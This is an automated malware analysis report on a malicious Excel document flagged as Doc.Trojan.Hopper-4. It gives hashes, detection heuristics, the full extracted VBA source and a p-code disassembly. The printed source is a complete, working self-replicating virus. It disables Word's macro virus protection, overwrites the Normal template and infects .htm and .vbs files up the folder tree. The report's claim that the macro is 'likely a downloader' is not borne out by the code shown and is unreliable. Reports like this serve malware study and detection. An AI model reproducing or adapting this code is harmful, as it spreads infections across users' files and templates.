Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9f7a3fb40ccd33c…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-04-17 10:43:24 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: efb905f4438c3c0d019ad596b0bd2300 SHA-1: 1b8125ed6b18bfb259de7e5d8dcdfc3e8c4b6869 SHA-256: f9f7a3fb40ccd33c2772496edeabf84cd06fd1fb1f796e50d181b3bc6597148f
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel document containing VBA macros, which are known to be used for malicious purposes. The presence of 'CreateObject' and references to 'Wscript' indicate the macro attempts to execute external code, likely a downloader. The script also contains JavaScript elements, suggesting a multi-stage attack. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Hopper-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hopper-4
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub FindHTMVBS()
    Set FSO = CreateObject("Scripting.FileSystemObject")
    cpath = FSO.GetParentFolderName(HostPath)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20064 bytes
SHA-256: 6e280d69abd0783f540c1fcd21b07c81b76bef10ddfe75661cbbe000b94351f2
Detection
ClamAV: Doc.Trojan.Hopper-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument"
==============================================================================
Module Name: ThisDocument (Class / ThisDocument)
------------------------------------------------------------------------------






'<html> <!--1nternal-->
'<head>
'<meta http-equiv="Content-Type"
'content="text/html; charset=iso-8859-1">
'<meta name="Author" content="1nternal">
'</head>
'<BODY>
'<script language="VBScript"><!--
''On Error Resume Next
'HostType = "VBS"
'HostPath = Wscript.ScriptFullName
'Call InfWord
'Call FindHTMVBS

Private FSO, NT, HostType, InfType, HostPath, Target, TempFile

Private Sub FindHTMVBS()
    Set FSO = CreateObject("Scripting.FileSystemObject")
    cpath = FSO.GetParentFolderName(HostPath)
    Set folder = FSO.GetFolder(cpath)
    While folder.IsRootFolder = False
        Set folder = FSO.GetFolder(cpath)
        Set fc = folder.Files
        cpath = FSO.GetParentFolderName(cpath)
        For Each Target In fc
            InfType = LCase(FSO.GetExtensionName(Target.Name))
            If InfType = "html" Or InfType = "htt" Then InfType = "htm"
            If InfType = "htm" Or InfType = "vbs" And Target.Path <> HostPath Then
                Set fh = FSO.opentextfile(Target.Path, 1, True)
                TestString = fh.ReadLine
                fh.Close
                If TestString <> "<html> <!--1nternal-->" And TestString <> "'<html> <!--1nternal-->" Then
                    Call DoFile
                End If
            End If
        Next
    Wend
End Sub

Private Sub InfWord()
    Set WordObj = CreateObject("Word.Application")
    Set NT = WordObj.Templates(1).VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<html> <!--1nternal-->" Then
        WordObj.Options.SaveNormalPrompt = False
        NT.DeleteLines 1, NT.CountOfLines
        NT.AddFromFile HostPath
        NT.DeleteLines 171, (NT.CountOfLines - 170)
        If HostType = "HTM" Then
            For j = 1 To 9
                NT.ReplaceLine j, "'" + NT.Lines(j, 1)
            Next
            For j = 168 To 170
                NT.ReplaceLine j, "'" + NT.Lines(j, 1)
            Next
        Else
            For j = 9 To 13
                NT.ReplaceLine j, "'" + NT.Lines(j, 1)
            Next
        End If
    End If
    Set NT = Nothing
    WordObj.Quit
End Sub

Private Sub Window_Onload()
    On Error Resume Next
    Randomize
    If Location.protocol = "file:" And (Int((6 * Rnd) + 1) = 1) Then
        Dim FSO, folder, fc, f1, cpath
        Set FSO = CreateObject("Scripting.FileSystemObject")
        HostPath = Replace(Location.href, "file:///", "")
        HostPath = Replace(HostPath, "/", "\")
        HostType = "HTM"
        Call InfWord
        Call FindHTMVBS
        Window.Status = "ActiveX.Hybrid v0.4 /1nternal"
    End If
End Sub

Private Sub Document_Close()
    On Error Resume Next
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    Options.VirusProtection = False
        Options.ConfirmConversions = False
        Options.SaveNormalPrompt = False
        If NT.Lines(1, 1) <> "'<html> <!--1nternal-->" Then
                For i = 1 To 170
                        NT.InsertLines i, AD.Lines(i, 1)
                Next
        End If
        If AD.Lines(1, 1) <> "'<html> <!--1nternal-->" Then
                For i = 1 To 170
                        AD.InsertLines i, NT.Lines(i, 1)
                Next
        End If
    HostType = "DOC"
    HostPath = "C:\Windows\Web\Afile.htm"
    If (Int((15 * Rnd) + 1) = 1) Then Call FindHTMVBS
End Sub

Private Sub DoFileFromFile()
    Set fh = FSO.opentextfile(HostPath, 1, True)
    Set ft = FSO.opentextfile(Target.Path, 2, True)
    For j = 1 To 170
        NextLine = fh.ReadLine
        If HostType = "HTM" Then
            If InfType = "vbs" Then
                If j < 9 Or j > 167 Then
                    NextLine = "'" + NextLine
                End If
                If j > 8 And j < 14 Then
                    NextLine = Mid(NextLine, 2)
                End If
            End If
        Else
            If InfType = "htm" Then
                If j < 9 Or j > 167 Then
                    NextLine = Mid(NextLine, 2)
                End If
                If j > 8 And j < 14 Then
                    NextLine = "'" + NextLine
                End If
            End If
        End If
        ft.WriteLine NextLine
    Next
    fh.Close
    ft.Close
End Sub

Private Sub DoFileFromDoc()
    Set ft = FSO.opentextfile(Target.Path, 2, True)
    For j = 1 To 170
        NextLine = NT.Lines(j, 1)
        If InfType = "htm" Then
            If j < 9 Or j > 167 Then
                NextLine = Mid(NextLine, 2)
            End If
        Else
            If j > 8 And j < 14 Then
                NextLine = Mid(NextLine, 2)
            End If
        End If
        ft.WriteLine NextLine
    Next
    ft.Close
End Sub

Private Sub DoFile()
    TempFile = FSO.GetTempName
    FSO.CopyFile Target.Path, TempFile
    If HostType = "DOC" Then
        Call DoFileFromDoc
    Else
        Call DoFileFromFile
    End If
    Set fh = FSO.opentextfile(TempFile, 1, True)
    Set ft = FSO.opentextfile(Target.Path, 8, True)
    Do While fh.AtEndOfStream <> True
        ft.WriteLine fh.ReadLine
    Loop
    ft.Close
    fh.Close
    FSO.DeleteFile TempFile
End Sub

'--></script>
'</BODY>
'</HTML>

------------------------------------------------------------------------------

' Processing file: /tmp/qstore_ln2y04qx
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 965 bytes
' _VBA_PROJECT_CUR/VBA/Foglio1 - 958 bytes
' _VBA_PROJECT_CUR/VBA/Foglio2 - 958 bytes
' _VBA_PROJECT_CUR/VBA/Foglio3 - 958 bytes
' _VBA_PROJECT_CUR/VBA/ThisDocument - 9456 bytes
' Line #0:
' 	Reparse 0x004E "=============================================================================="
' Line #1:
' 	Ld New 
' 	ArgsCall Name 0x0001 
' 	BoS 0x0000 
' 	Ld Class 
' 	Ld ThisDocument 
' 	Div 
' 	Paren 
' 	ArgsCall ThisDocument 0x0001 
' Line #2:
' 	Reparse 0x004E "------------------------------------------------------------------------------"
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' 	QuoteRem 0x0000 0x0016 "<html> <!--1nternal-->"
' Line #10:
' 	QuoteRem 0x0000 0x0006 "<head>"
' Line #11:
' 	QuoteRem 0x0000 0x001F "<meta http-equiv="Content-Type""
' Line #12:
' 	QuoteRem 0x0000 0x0028 "content="text/html; charset=iso-8859-1">"
' Line #13:
' 	QuoteRem 0x0000 0x0027 "<meta name="Author" content="1nternal">"
' Line #14:
' 	QuoteRem 0x0000 0x0007 "</head>"
' Line #15:
' 	QuoteRem 0x0000 0x0006 "<BODY>"
' Line #16:
' 	QuoteRem 0x0000 0x0020 "<script language="VBScript"><!--"
' Line #17:
' 	QuoteRem 0x0000 0x0015 "'On Error Resume Next"
' Line #18:
' 	QuoteRem 0x0000 0x0010 "HostType = "VBS""
' Line #19:
' 	QuoteRem 0x0000 0x0021 "HostPath = Wscript.ScriptFullName"
' Line #20:
' 	QuoteRem 0x0000 0x000C "Call InfWord"
' Line #21:
' 	QuoteRem 0x0000 0x000F "Call FindHTMVBS"
' Line #22:
' Line #23:
' 	Dim (Private) 
' 	VarDefn FSO
' 	VarDefn NT
' 	VarDefn HostType
' 	VarDefn InfType
' 	VarDefn HostPath
' 	VarDefn Target
' 	VarDefn TempFile
' Line #24:
' Line #25:
' 	FuncDefn (Private Sub FindHTMVBS())
' Line #26:
' 	SetStmt 
' 	LitStr 0x001A "Scripting.FileSystemObject"
' 	ArgsLd CreateObject 0x0001 
' 	Set FSO 
' Line #27:
' 	Ld HostPath 
' 	Ld FSO 
' 	ArgsMemLd GetParentFolderName 0x0001 
' 	St cpath 
' Line #28:
' 	SetStmt 
' 	Ld cpath 
' 	Ld FSO 
' 	ArgsMemLd GetFolder 0x0001 
' 	Set folder 
' Line #29:
' 	Ld folder 
' 	MemLd IsRootFolder 
' 	LitVarSpecial (False)
' 	Eq 
' 	While 
' Line #30:
' 	SetStmt 
' 	Ld cpath 
' 	Ld FSO 
' 	ArgsMemLd GetFolder 0x0001 
' 	Set folder 
' Line #31:
' 	SetStmt 
' 	Ld folder 
' 	MemLd Files 
' 	Set fc 
' Line #32:
' 	Ld cpath 
' 	Ld FSO 
' 	ArgsMemLd GetParentFolderName 0x0001 
' 	St cpath 
' Line #33:
' 	StartForVariable 
' 	Ld Target 
' 	EndForVariable 
' 	Ld fc 
' 	ForEach 
' Line #34:
' 	Ld Target 
' 	MemLd New 
' 	Ld FSO 
' 	ArgsMemLd GetExtensionName 0x0001 
' 	ArgsLd LCase 0x0001 
' 	St InfType 
' Line #35:
' 	Ld InfType 
' 	LitStr 0x0004 "html"
' 	Eq 
' 	Ld InfType 
' 	LitStr 0x0003 "htt"
' 	Eq 
' 	Or 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0003 "htm"
' 	St InfType 
' 	EndIf 
' Line #36:
' 	Ld InfType 
' 	LitStr 0x0003 "htm"
' 	Eq 
' 	Ld InfType 
' 	LitStr 0x0003 "vbs"
' 	Eq 
' 	Ld Target 
' 	MemLd Path 
' 	Ld HostPath 
' 	Ne 
' 	And 
' 	Or 
' 	IfBlock 
' Line #37:
' 	SetStmt 
' 	Ld Target 
' 	MemLd Path 
' 	LitDI2 0x0001 
' 	LitVarSpecial (True)
' 	Ld FSO 
' 	ArgsMemLd opentextfile 0x0003 
' 	Set fh 
' Line #38:
' 	Ld fh 
' 	MemLd ReadLine 
' 	St TestString 
' Line #39:
' 	Ld fh 
' 	ArgsMemCall Close 0x0000 
' Line #40:
' 	Ld TestString 
' 	LitStr 0x0016 "<html> <!--1nternal-->"
' 	Ne 
' 	Ld TestString 
' 	LitStr 0x0017 "'<html> <!--1nternal-->"
' 	Ne 
' 	And 
' 	IfBlock 
' Line #41:
' 	ArgsCall (Call) DoFile 0x0000 
' Line #42:
' 	EndIfBlock 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	StartForVariable 
' 	Next 
' Line #45:
' 	Wend 
' Line #46:
' 	EndSub 
' Line #47:
' Line #48:
' 	FuncDefn (Private Sub InfWord())
' Line #49:
' 	SetStmt 
' 	LitStr 0x0010 "Word.Application"
' 	ArgsLd CreateObject 0x0001 
' 	Set WordObj 
' Line #50:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld WordObj 
' 	ArgsMemLd Templates 0x0001 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set NT 
' Line #51:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0017 "'<html> <!--1nternal-->"
' 	Ne 
' 	IfBlock 
' Line #52:
' 	LitVarSpecial (False)
' 	Ld WordObj 
' 	MemLd Options 
' 	MemSt SaveNormalPrompt 
' Line #53:
' 	LitDI2 0x0001 
' 	Ld NT 
' 	MemLd CountOfLines 
' 	Ld NT 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #54:
' 	Ld HostPath 
' 	Ld NT 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #55:
' 	LitDI2 0x00AB 
' 	Ld NT 
' 	MemLd CountOfLines 
' 	LitDI2 0x00AA 
' 	Sub 
' 	Paren 
' 	Ld NT 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #56:
' 	Ld HostType 
' 	LitStr 0x0003 "HTM"
' 	Eq 
' 	IfBlock 
' Line #57:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0009 
' 	For 
' Line #58:
' 	Ld j 
' 	LitStr 0x0001 "'"
' 	Ld j 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	Add 
' 	Ld NT 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #59:
' 	StartForVariable 
' 	Next 
' Line #60:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x00A8 
' 	LitDI2 0x00AA 
' 	For 
' Line #61:
' 	Ld j 
' 	LitStr 0x0001 "'"
' 	Ld j 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	Add 
' 	Ld NT 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #62:
' 	StartForVariable 
' 	Next 
' Line #63:
' 	ElseBlock 
' Line #64:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0009 
' 	LitDI2 0x000D 
' 	For 
' Line #65:
' 	Ld j 
' 	LitStr 0x0001 "'"
' 	Ld j 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	Add 
' 	Ld NT 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #66:
' 	StartForVariable 
' 	Next 
' Line #67:
' 	EndIfBlock 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	SetStmt 
' 	LitNothing 
' 	Set NT 
' Line #70:
' 	Ld WordObj 
' 	ArgsMemCall Quit 0x0000 
' Line #71:
' 	EndSub 
' Line #72:
' Line #73:
' 	FuncDefn (Private Sub Window_Onload())
' Line #74:
' 	OnError (Resume Next) 
' Line #75:
' 	ArgsCall Read 0x0000 
' Line #76:
' 	Ld Location 
' 	MemLd protocol 
' 	LitStr 0x0005 "file:"
' 	Eq 
' 	LitDI2 0x0006 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #77:
' 	Dim 
' 	VarDefn FSO
' 	VarDefn folder
' 	VarDefn fc
' 	VarDefn f1
' 	VarDefn cpath
' Line #78:
' 	SetStmt 
' 	LitStr 0x001A "Scripting.FileSystemObject"
' 	ArgsLd CreateObject 0x0001 
' 	Set FSO 
' Line #79:
' 	Ld Location 
' 	MemLd href 
' 	LitStr 0x0008 "file:///"
' 	LitStr 0x0000 ""
' 	ArgsLd Replace 0x0003 
' 	St HostPath 
' Line #80:
' 	Ld HostPath 
' 	LitStr 0x0001 "/"
' 	LitStr 0x0001 "\"
' 	ArgsLd Replace 0x0003 
' 	St HostPath 
' Line #81:
' 	LitStr 0x0003 "HTM"
' 	St HostType 
' Line #82:
' 	ArgsCall (Call) InfWord 0x0000 
' Line #83:
' 	ArgsCall (Call) FindHTMVBS 0x0000 
' Line #84:
' 	LitStr 0x001D "ActiveX.Hybrid v0.4 /1nternal"
' 	Ld Window 
' 	MemSt Status 
' Line #85:
' 	EndIfBlock 
' Line #86:
' 	EndSub 
' Line #87:
' Line #88:
' 	FuncDefn (Private Sub Document_Close())
' Line #89:
' 	OnError (Resume Next) 
' Line #90:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set NT 
' Line #91:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set AD 
' Line #92:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #93:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #94:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #95:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0017 "'<html> <!--1nternal-->"
' 	Ne 
' 	IfBlock 
' Line #96:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x00AA 
' 	For 
' Line #97:
' 	Ld i 
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld AD 
' 	ArgsMemLd Lines 0x0002 
' 	Ld NT 
' 	ArgsMemCall InsertLines 0x0002 
' Line #98:
' 	StartForVariable 
' 	Next 
' Line #99:
' 	EndIfBlock 
' Line #100:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld AD 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0017 "'<html> <!--1nternal-->"
' 	Ne 
' 	IfBlock 
' Line #101:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x00AA 
' 	For 
' Line #102:
' 	Ld i 
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	Ld AD 
' 	ArgsMemCall InsertLines 0x0002 
' Line #103:
' 	StartForVariable 
' 	Next 
' Line #104:
' 	EndIfBlock 
' Line #105:
' 	LitStr 0x0003 "DOC"
' 	St HostType 
' Line #106:
' 	LitStr 0x0018 "C:\Windows\Web\Afile.htm"
' 	St HostPath 
' Line #107:
' 	LitDI2 0x000F 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) FindHTMVBS 0x0000 
' 	EndIf 
' Line #108:
' 	EndSub 
' Line #109:
' Line #110:
' 	FuncDefn (Private Sub DoFileFromFile())
' Line #111:
' 	SetStmt 
' 	Ld HostPath 
' 	LitDI2 0x0001 
' 	LitVarSpecial (True)
' 	Ld FSO 
' 	ArgsMemLd opentextfile 0x0003 
' 	Set fh 
' Line #112:
' 	SetStmt 
' 	Ld Target 
' 	MemLd Path 
' 	LitDI2 0x0002 
' 	LitVarSpecial (True)
' 	Ld FSO 
' 	ArgsMemLd opentextfile 0x0003 
' 	Set ft 
' Line #113:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x00AA 
' 	For 
' Line #114:
' 	Ld fh 
' 	MemLd ReadLine 
' 	St NextLine 
' Line #115:
' 	Ld HostType 
' 	LitStr 0x0003 "HTM"
' 	Eq 
' 	IfBlock 
' Line #116:
' 	Ld InfType 
' 	LitStr 0x0003 "vbs"
' 	Eq 
' 	IfBlock 
' Line #117:
' 	Ld j 
' 	LitDI2 0x0009 
' 	Lt 
' 	Ld j 
' 	LitDI2 0x00A7 
' 	Gt 
' 	Or 
' 	IfBlock 
' Line #118:
' 	LitStr 0x0001 "'"
' 	Ld NextLine 
' 	Add 
' 	St NextLine 
' Line #119:
' 	EndIfBlock 
' Line #120:
' 	Ld j 
' 	LitDI2 0x0008 
' 	Gt 
' 	Ld j 
' 	LitDI2 0x000E 
' 	Lt 
' 	And 
' 	IfBlock 
' Line #121:
' 	Ld NextLine 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0002 
' 	St NextLine 
' Line #122:
' 	EndIfBlock 
' Line #123:
' 	EndIfBlock 
' Line #124:
' 	ElseBlock 
' Line #125:
' 	Ld InfType 
' 	LitStr 0x0003 "htm"
' 	Eq 
' 	IfBlock 
' Line #126:
' 	Ld j 
' 	LitDI2 0x0009 
' 	Lt 
' 	Ld j 
' 	LitDI2 0x00A7 
' 	Gt 
' 	Or 
' 	IfBlock 
' Line #127:
' 	Ld NextLine 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0002 
' 	St NextLine 
' Line #128:
' 	EndIfBlock 
' Line #129:
' 	Ld j 
' 	LitDI2 0x0008 
' 	Gt 
' 	Ld j 
' 	LitDI2 0x000E 
' 	Lt 
' 	And 
' 	IfBlock 
' Line #130:
' 	LitStr 0x0001 "'"
' 	Ld NextLine 
' 	Add 
' 	St NextLine 
' Line #131:
' 	EndIfBlock 
' Line #132:
' 	EndIfBlock 
' Line #133:
' 	EndIfBlock 
' Line #134:
' 	Ld NextLine 
' 	Ld ft 
' 	ArgsMemCall WriteLine 0x0001 
' Line #135:
' 	StartForVariable 
' 	Next 
' Line #136:
' 	Ld fh 
' 	ArgsMemCall Close 0x0000 
' Line #137:
' 	Ld ft 
' 	ArgsMemCall Close 0x0000 
' Line #138:
' 	EndSub 
' Line #139:
' Line #140:
' 	FuncDefn (Private Sub DoFileFromDoc())
' Line #141:
' 	SetStmt 
' 	Ld Target 
' 	MemLd Path 
' 	LitDI2 0x0002 
' 	LitVarSpecial (True)
' 	Ld FSO 
' 	ArgsMemLd opentextfile 0x0003 
' 	Set ft 
' Line #142:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x00AA 
' 	For 
' Line #143:
' 	Ld j 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	St NextLine 
' Line #144:
' 	Ld InfType 
' 	LitStr 0x0003 "htm"
' 	Eq 
' 	IfBlock 
' Line #145:
' 	Ld j 
' 	LitDI2 0x0009 
' 	Lt 
' 	Ld j 
' 	LitDI2 0x00A7 
' 	Gt 
' 	Or 
' 	IfBlock 
' Line #146:
' 	Ld NextLine 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0002 
' 	St NextLine 
' Line #147:
' 	EndIfBlock 
' Line #148:
' 	ElseBlock 
' Line #149:
' 	Ld j 
' 	LitDI2 0x0008 
' 	Gt 
' 	Ld j 
' 	LitDI2 0x000E 
' 	Lt 
' 	And 
' 	IfBlock 
' Line #150:
' 	Ld NextLine 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0002 
' 	St NextLine 
' Line #151:
' 	EndIfBlock 
' Line #152:
' 	EndIfBlock 
' Line #153:
' 	Ld NextLine 
' 	Ld ft 
' 	ArgsMemCall WriteLine 0x0001 
' Line #154:
' 	StartForVariable 
' 	Next 
' Line #155:
' 	Ld ft 
' 	ArgsMemCall Close 0x0000 
' Line #156:
' 	EndSub 
' Line #157:
' Line #158:
' 	FuncDefn (Private Sub DoFile())
' Line #159:
' 	Ld FSO 
' 	MemLd GetTempName 
' 	St TempFile 
' Line #160:
' 	Ld Target 
' 	MemLd Path 
' 	Ld TempFile 
' 	Ld FSO 
' 	ArgsMemCall CopyFile 0x0002 
' Line #161:
' 	Ld HostType 
' 	LitStr 0x0003 "DOC"
' 	Eq 
' 	IfBlock 
' Line #162:
' 	ArgsCall (Call) DoFileFromDoc 0x0000 
' Line #163:
' 	ElseBlock 
' Line #164:
' 	ArgsCall (Call) DoFileFromFile 0x0000 
' Line #165:
' 	EndIfBlock 
' Line #166:
' 	SetStmt 
' 	Ld TempFile 
' 	LitDI2 0x0001 
' 	LitVarSpecial (True)
' 	Ld FSO 
' 	ArgsMemLd opentextfile 0x0003 
' 	Set fh 
' Line #167:
' 	SetStmt 
' 	Ld Target 
' 	MemLd Path 
' 	LitDI2 0x0008 
' 	LitVarSpecial (True)
' 	Ld FSO 
' 	ArgsMemLd opentextfile 0x0003 
' 	Set ft 
' Line #168:
' 	Ld fh 
' 	MemLd AtEndOfStream 
' 	LitVarSpecial (True)
' 	Ne 
' 	DoWhile 
' Line #169:
' 	Ld fh 
' 	MemLd ReadLine 
' 	Ld ft 
' 	ArgsMemCall WriteLine 0x0001 
' Line #170:
' 	Loop 
' Line #171:
' 	Ld ft 
' 	ArgsMemCall Close 0x0000 
' Line #172:
' 	Ld fh 
' 	ArgsMemCall Close 0x0000 
' Line #173:
' 	Ld TempFile 
' 	Ld FSO 
' 	ArgsMemCall DeleteFile 0x0001 
' Line #174:
' 	EndSub 
' Line #175:
' Line #176:
' 	QuoteRem 0x0000 0x000C "--></script>"
' Line #177:
' 	QuoteRem 0x0000 0x0007 "</BODY>"
' Line #178:
' 	QuoteRem 0x0000 0x0007 "</HTML>"
' Line #179:
' Line #180:
' 	Reparse 0x004E "------------------------------------------------------------------------------"

Open this report in the interactive analyzer, or submit your own file for analysis.